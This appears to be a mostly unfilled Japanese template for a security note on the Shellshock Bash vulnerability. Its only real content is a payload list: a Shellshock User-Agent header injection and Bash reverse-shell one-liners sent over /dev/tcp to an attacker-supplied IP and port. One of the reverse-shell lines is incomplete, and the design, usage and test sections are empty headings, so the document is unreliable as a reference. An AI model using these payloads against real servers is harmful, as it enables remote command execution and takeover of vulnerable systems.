Shell Shock

*著者: [email protected] *メンテナ: ** *部署: DevOps *ライセンス: **

概要

Shell Shock: 権限昇格, リモートコード実行 Unix Bash Shell のバグ群。任意のコマンド実行を許可します。

悪用ベクトル

---

ペイロード

• shellshock ユーザーエージェント = User-Agent: () { :; } ; <$BASH_COMMAND>
• rshell ペイロード = bash -i >& /dev/tcp/127.0.0.1
  • rshell リスナーへのリダイレクト = bash -i >& /dev/tcp/$YOUR_IP:$PORT

トリック

設計:

• 目的:
• 内容:
• サーバー:
  • アプリケーション:
  • データベース:
• ネットワーク:
  • DNS:
  • ルート:
• アプリケーション依存関係:
• 依存プログラム:

基本的な使い方:

• 使用法:

• 一般的な使用例:

• 例:

テスト

テスト入力

• パラメータ:
• アクション:

テスト出力

• 出力:
• スクリーンショット:
• 動画:
• その他:

注意:* [option]: